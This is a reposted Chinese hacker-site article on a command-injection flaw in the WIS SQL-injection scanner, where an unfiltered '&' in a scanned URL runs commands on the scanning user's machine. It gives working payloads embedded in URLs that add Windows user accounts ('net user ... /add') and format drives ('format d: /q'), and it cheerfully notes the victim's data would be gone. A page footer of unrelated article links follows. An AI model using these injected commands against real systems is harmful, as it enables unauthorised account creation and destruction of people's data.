小榕的WIS漏洞补充篇及利用篇

简介:
看看下面作者的分析````````

文章来源: [url]www.hackbase.com[/url]
文章作者:喜欢忧伤

小榕的WIS漏洞补充篇及利用篇 

--------------------------------------------------------------------------------

编者:昨天就看见ALLyeSNO的这个文章了,但是始终不明白原文里说的意思.直到今天......

漏洞发现者 : ALLyeSNO   [url]http://blog.csdn.net/freexploit/[/url]

WIS是小榕开发的SQL漏洞扫描工具
WIS对&字符未做严格过滤 导致可以 人为的创建含&字符的语句 在扫描者机子上执行任意代码

&net user allyesno 12345 /add

不是wis&net user allyesno 12345 /add
而是 使用 wis对 某一个网站进行扫描的时候

我们可以利用wis未过滤& 在被扫描的网站代码 例如asp代码中嵌入&net user administrator 12345 /add

当wis对它进行扫描的时候 结果如下

sqlbug?=sql&net"> [url]http://www.target.com/sqlbug?=sql&net[/url]  user administrator 12345 /add

本地执行wis &net user allyesno 12345 /add 是肯定可以的 因为&是把两段指令连在一起执行

下面是喜欢忧伤写的一篇关于这个漏洞的文章,本来他说要好好写下再发,可我等不及了

作者:喜欢忧伤   [url]http://www.powers.com.cn[/url]

问题的产生
1.&用来连接两条Dos命令,就是cmd.exe 会把&前后的命令分开两句来执行
2.wis这个工具没有过滤&

所以在
你用这个工具去扫描别人的时候就会出问题
正常情况下是
你的cmd.exe下执行wis  [url]http://www.xx.com/?xx.asp?id=123[/url]
没什么问题


如果碰到
[url]http://www.xx.com/?xx.asp?id=123&net[/url]  user test 123 /add
的时候就变成你的cmd.exe执行
wis  [url]http://www.xx.com/?xx.asp?id=123&net[/url]  user test 123 /add
看清楚了

这个语句中有一个&,所以相当于
wis  [url]http://www.xx.com/?xx.asp?id=123[/url]
net user test 123 /add
也就是在你的机器上执行了两个语句。。。
wis  [url]http://www.xx.com/?xx.asp?id=123[/url]
没问题,执行后半句的时候就来问题了,增加用户了

那你机器上当然添加了一个帐号了

当然, 还有更狠的:
[url]http://www.xxx.com/a.asp?id=1&format[/url]  d: /q
[url]http://www.xxx.com/a.asp?id=1&format[/url]  e: /q
[url]http://www.xxx.com/a.asp?id=1&format[/url]  f: /q
......
[url]http://www.xxx.com/a.asp?id=1©[/url]  c:\ d:\ 
[url]http://www.xxx.com/a.asp?id=1©[/url]  c:\ e:\ 
[url]http://www.xxx.com/a.asp?id=1©[/url]  c:\ f:\ 
.....

d,e,f,...资料很可能全没有了,。哈哈

















本文转自loveme2351CTO博客,原文链接:http://blog.51cto.com/loveme23/8539,如需转载请自行联系原作者


相关文章
PbootCMS的默认账号密码是什么?
PbootCMS的默认账号密码是什么?
1716 0
|
测试技术 网络安全 数据安全/隐私保护
burpsuite口令爆破的四种模式
burpsuite口令爆破的四种模式
|
8月前
|
弹性计算 网络协议 应用服务中间件
自学软硬件工程师第751天域名和公网ip怎么绑定
自学软硬件工程师第751天域名和公网ip怎么绑定
|
9月前
|
人工智能 安全 数据库
AiCodeAudit-基于Ai大模型的自动代码审计工具
本文介绍了基于OpenAI大模型的自动化代码安全审计工具AiCodeAudit,通过图结构构建项目依赖关系,提高代码审计准确性。文章涵盖概要、整体架构流程、技术名词解释及效果演示,详细说明了工具的工作原理和使用方法。未来,AI大模型有望成为代码审计的重要工具,助力软件安全。项目地址:[GitHub](https://github.com/xy200303/AiCodeAudit)。
|
信息无障碍
BUUCTF [WUSTCTF2020]find_me 1
BUUCTF [WUSTCTF2020]find_me 1
429 0
|
安全 搜索推荐 生物认证
FOFA基础和使用技巧
FOFA基础和使用技巧
|
数据采集 Web App开发 前端开发
不存在的!教你几招轻松绕过网站限制
不存在的!教你几招轻松绕过网站限制
3809 0
|
安全 前端开发 JavaScript
|
Oracle Java 关系型数据库
阿里云服务器选择配置以及域名申请和绑定IP搭建教程
阿里云服务器选择以及域名申请和绑定IP搭建教程
8698 0
阿里云服务器选择配置以及域名申请和绑定IP搭建教程